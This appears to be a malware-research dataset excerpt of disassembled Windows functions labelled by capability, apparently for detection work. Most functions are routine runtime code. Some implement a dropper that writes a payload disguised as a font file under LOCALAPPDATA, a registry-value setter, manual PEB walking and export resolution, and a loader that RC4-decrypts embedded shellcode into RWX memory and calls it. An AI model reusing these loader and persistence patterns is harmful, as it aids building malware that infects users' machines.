joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002174c
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x1400870d0]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x1400217aa
cmp word [rdx], r12w
jne 0x1400217aa
or byte [rax + r8*8 + 0x38], cl
jmp 0x1400217b0
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14002190b
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x1400218e6
lea r9, [rcx + 2]
cmp ax, r13w
je 0x1400217e9
mov rcx, r9
jmp 0x14002180c
cmp r9, rdx
jae 0x140021823
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x1400217cd
jmp 0x14002190b
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400218e0
cmp dword [rsp + 0x80], edi
je 0x1400218e0
mov rdx, r14
lea r11, [0x1400870d0]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x1400218b9
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14002188c
mov word [rbx], r12w
jmp 0x140021907
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x140021895
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x140021907
cmp word [rsp + 0x70], r12w
jne 0x1400218c6
cmp rbx, rsi
je 0x140021886
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.1400223d8
cmp word [rsp + 0x70], r12w
je 0x14002190b
mov word [rbx], r13w
jmp 0x140021907
lea r11, [0x1400870d0]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140021903
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14002190b
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14002410c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002413c
xor eax, eax
jmp 0x1400241ff
mov rbp, rbx
cmp word [rax], si
je 0x140024161
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140024148
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140024144
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140022be4
movsxd r14, eax
test eax, eax
jne 0x14002419f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140024135
mov rcx, r14
call fcn.14001b490
mov rdi, rax
test rax, rax
jne 0x1400241b8
xor ecx, ecx
call fcn.14001b454
jmp 0x140024194
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140022be4
test eax, eax
jne 0x1400241e9
mov rcx, rdi
call fcn.14001b454
jmp 0x1400241f3
xor ecx, ecx
call fcn.14001b454
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002421c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400242a3
mov rsi, rbx
cmp word [rax], bp
je 0x140024262
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14002424c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140024248
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001b490
mov rdi, rax
test rax, rax
je 0x140024290
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000ab70
mov rbp, rdi
xor ecx, ecx
call fcn.14001b454
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14002a788
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000f2bc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002a812
cmp byte [rbp - 0x21], r15b
je 0x14002a80d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14002a848
call fcn.14001c770
test eax, eax
jne 0x14002a834
cmp byte [rbp - 0x21], r15b
je 0x14002a82c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14002a848
cmp byte [rbp - 0x21], r15b
je 0x14002a845
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140017dd8
test eax, eax
jne 0x14002a8e8
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000f2bc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14002a887
cmp byte [rbp - 0x21], r15b
je 0x14002a8bc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14002a8bc
call fcn.14001c770
test eax, eax
jne 0x14002a8a8
cmp byte [rbp - 0x21], r15b
je 0x14002a8a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14002a8bc
cmp byte [rbp - 0x21], r15b
je 0x14002a8b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140017dd8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14002a8e8
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14002a8eb
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14002a8f9
mov rcx, rdi
call fcn.14001b454
cmp byte [rbp + 0x3f], r15b
je 0x14002a908
mov rcx, qword [rbp + 0x27]
call fcn.14001b454
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x14002baf0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002bb18
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002bb18
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140030804
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rax, r8
xor ecx, ecx
mov rdi, rdx
mov r8, r9
mov rdx, rax
mov qword [rbx], rcx
mov qword [rbx + 8], rcx
mov rcx, rbx
mov dword [rbx + 0x50], 0x6a09e667
mov dword [rbx + 0x54], 0xbb67ae85
mov dword [rbx + 0x58], 0x3c6ef372
mov dword [rbx + 0x5c], 0xa54ff53a
mov dword [rbx + 0x60], 0x510e527f
mov dword [rbx + 0x64], 0x9b05688c
mov dword [rbx + 0x68], 0x1f83d9ab
mov dword [rbx + 0x6c], 0x5be0cd19
call fcn.14002ea5c
mov rdx, rdi
mov rcx, rbx
call fcn.14002e7f0
mov rbx, qword [rsp + 0x40]
mov rax, rdi
add rsp, 0x30
pop rdi
ret

Function at 0x1400318f8
Capabilities:
Create directory
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x360
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x104
call fcn.14000b220
lea rcx, str.LOCALAPPDATA
call fcn.1400106e0
lea rcx, [rsp + 0x40]
mov r8, rax
dec rcx
xor edi, edi
inc rcx
cmp byte [rcx], dil
jne 0x140031930
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x14003193a
lea rcx, [rsp + 0x40]
dec rcx
inc rcx
cmp byte [rcx], dil
jne 0x140031950
movups xmm0, xmmword [str.MicrosoftWindowsFonts]
mov al, byte [0x1400426e0]
xor edx, edx
movups xmmword [rcx], xmm0
movsd xmm0, qword [0x1400426d8]
movsd qword [rcx + 0x10], xmm0
mov byte [rcx + 0x18], al
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
lea rcx, [rsp + 0x150]
mov r8d, 0x208
call fcn.14000b220
lea rcx, [0x140042628]
call fcn.1400106d8
lea rcx, [rsp + 0x150]
mov r8, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x1400319b5
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x1400319c0
lea rcx, [rsp + 0x150]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x1400319dd
movaps xmm0, xmmword [str.MicrosoftWindowsFontsAdSlavicF.ttf]
xor r9d, r9d
movaps xmm1, xmmword [0x140042660]
xor r8d, r8d
mov eax, dword [0x140042698]
mov edx, 0x40000000
movups xmmword [rcx], xmm0
mov qword [rsp + 0x30], rdi
movaps xmm0, xmmword [0x140042670]
movups xmmword [rcx + 0x10], xmm1
mov dword [rsp + 0x28], pe_nt_image_headers64
movaps xmm1, xmmword [0x140042680]
movups xmmword [rcx + 0x20], xmm0
mov dword [rsp + 0x20], 2
movsd xmm0, qword [0x140042690]
movups xmmword [rcx + 0x30], xmm1
movsd qword [rcx + 0x40], xmm0
mov dword [rcx + 0x48], eax
movzx eax, word [0x14004269c]
mov word [rcx + 0x4c], ax
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x370]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x140070210]
mov r8d, 0x155b4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x378]
add rsp, 0x360
pop rdi
ret
Function at 0x140031fb8
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x240
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call fcn.14000b220
lea rcx, [0x140042628]
call fcn.1400106d8
lea rdx, [rsp + 0x30]
mov r8, rax
sub rdx, 2
lea rdx, [rdx + 2]
cmp word [rdx], 0
jne 0x140031fee
xor ecx, ecx
movzx eax, word [r8 + rcx*2]
mov word [rdx + rcx*2], ax
inc rcx
test ax, ax
jne 0x140031ffa
lea rcx, [rsp + 0x30]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x140032014
mov eax, dword [0x140042698]
lea rdx, [0x1400426a0]
movaps xmm0, xmmword [str.MicrosoftWindowsFontsAdSlavicF.ttf]
mov r9d, 1
movaps xmm1, xmmword [0x140042660]
xor r8d, r8d
movups xmmword [rcx], xmm0
mov dword [rsp + 0x28], 0x208
movaps xmm0, xmmword [0x140042670]
movups xmmword [rcx + 0x10], xmm1
movaps xmm1, xmmword [0x140042680]
movups xmmword [rcx + 0x20], xmm0
movsd xmm0, qword [0x140042690]
movups xmmword [rcx + 0x30], xmm1
movsd qword [rcx + 0x40], xmm0
mov dword [rcx + 0x48], eax
movzx eax, word [0x14004269c]
mov word [rcx + 0x4c], ax
lea rax, [rsp + 0x30]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x240
pop rbx
ret

Function at 0x140032280
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r10, rdx
mov r9, rcx
test rcx, rcx
je 0x140032301
test rdx, rdx
je 0x140032301
movsxd rax, dword [rcx + 0x3c]
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov edi, dword [r8 + 0x1c]
mov edx, dword [r8 + 0x20]
add rdi, rcx
mov esi, dword [r8 + 0x24]
add rdx, rcx
mov ebp, dword [r8 + 0x18]
add rsi, rcx
xor ecx, ecx
test ebp, ebp
je 0x140032301
mov eax, dword [rdx]
mov rbx, r10
add rax, r9
sub rbx, rax
movzx r8d, byte [rax]
movzx r11d, byte [rax + rbx]
sub r8d, r11d
jne 0x1400322f2
inc rax
test r11d, r11d
jne 0x1400322dc
test r8d, r8d
je 0x140032318
inc ecx
add rdx, 4
cmp ecx, ebp
jb 0x1400322d1
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [rsi + rcx*2]
mov eax, dword [rdi + rcx*4]
add rax, r9
jmp 0x140032303
Function at 0x140032324
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor ebx, ebx
mov r13, rdx
mov rsi, rcx
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
mov r14d, dword [rdi + 0x1c]
mov r15d, dword [rdi + 0x20]
add r14, rcx
mov r12d, dword [rdi + 0x24]
add r15, rcx
add r12, rcx
cmp dword [rdi + 0x18], ebx
jbe 0x140032397
movzx eax, word [r12 + rbx*2]
mov rdx, r13
mov ecx, dword [r15 + rbx*4]
add rcx, rsi
mov ebp, dword [r14 + rax*4]
add rbp, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1400323b6
inc ebx
cmp ebx, dword [rdi + 0x18]
jb 0x140032370
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rbp
jmp 0x140032399
Function at 0x140032d54
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
jmp 0x140032d90
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
call fcn.14000a864
test rax, rax
jne 0x140032da7
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x140032d7c
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
jmp 0x140032d97
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x1400010a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
xor r11d, r11d
movsxd r9, r9d
mov rbx, rcx
mov r10d, r11d
test r9, r9
je 0x140001124
sub rdx, r8
lea eax, [r11 + 1]
and eax, 0x800000ff
jge 0x1400010d7
dec eax
or eax, 0xffffff00
inc eax
movsxd r11, eax
movzx esi, byte [r11 + rbx]
add r10d, esi
and r10d, 0x800000ff
jge 0x1400010f8
dec r10d
or r10d, 0xffffff00
inc r10d
movsxd rcx, r10d
mov al, byte [rcx + rbx]
mov byte [r11 + rbx], al
mov byte [rcx + rbx], sil
movzx eax, byte [r11 + rbx]
add rax, rsi
movzx eax, al
mov cl, byte [rax + rbx]
xor cl, byte [rdx + r8]
mov byte [r8], cl
inc r8
sub r9, 1
jne 0x1400010c3
mov rbx, qword [rsp + 8]
xor eax, eax
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x140001188
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [section..data]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, dword [section..data]
mov rbx, rax
mov r8d, r9d
test r9d, r9d
je 0x1400011c9
xor edx, edx
mov rcx, rax
call fcn.1400011ec
mov r9d, dword [section..data]
mov r8, rbx
lea rdx, [0x140003004]
lea rcx, str.RhaBnLWLPIVKUqQUJcjUKXJhGAJeZLSHtChmQyjFfHuWXptjfFNp
call fcn.140001138
call rbx
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x14069a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14069a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14069a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069a06f
add dl, dl
jne 0x14069a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069a0f6
xor eax, eax
add dl, dl
jne 0x14069a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069a1ad
add dl, dl
jne 0x14069a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14069a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14069a07e
mov eax, 1
add dl, dl
jne 0x14069a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069a0fb
sub eax, ebx
mov ebx, 1
jne 0x14069a14c
mov ecx, 1
add dl, dl
jne 0x14069a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14069a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14069a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14069a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069a15d
cmp eax, 0x7d00
jae 0x14069a19b
cmp eax, 0x500
jb 0x14069a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069a07e
cmp eax, 0x7f
ja 0x14069a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14069a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14069a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180005fe8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180006057
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180006057
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180006057
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180006057
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180006057
cmp dword [rcx + 0x84], 0xe
jbe 0x180006057
cmp dword [rcx + 0xf8], 0
je 0x180006057
mov ecx, ebx
call fcn.180006108
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180005ee4
nop
cmp dword [rbp + 0x20], 0
je 0x1800060a5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800060b0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x180005fe8
Function at 0x18000bb50
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000bb80
xor eax, eax
jmp 0x18000bc43
mov rbp, rbx
cmp word [rax], si
je 0x18000bba5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000bb8c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000bb88
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180009e70
movsxd r14, eax
test eax, eax
jne 0x18000bbe3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000bb79
mov rcx, r14
call fcn.180006e18
mov rdi, rax
test rax, rax
jne 0x18000bbfc
xor ecx, ecx
call fcn.180006ddc
jmp 0x18000bbd8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180009e70
test eax, eax
jne 0x18000bc2d
mov rcx, rdi
call fcn.180006ddc
jmp 0x18000bc37
xor ecx, ecx
call fcn.180006ddc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000f63c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18000f652
mov al, 1
jmp 0x18000f6b2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18000f663
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18000f6b0
mov ecx, dword [rcx + 0x18]
nop
call fcn.18000d484
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000f6b0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18000f6b0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18000f6b0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18000f6b2
xor al, al
add rsp, 0x20
pop rbx
ret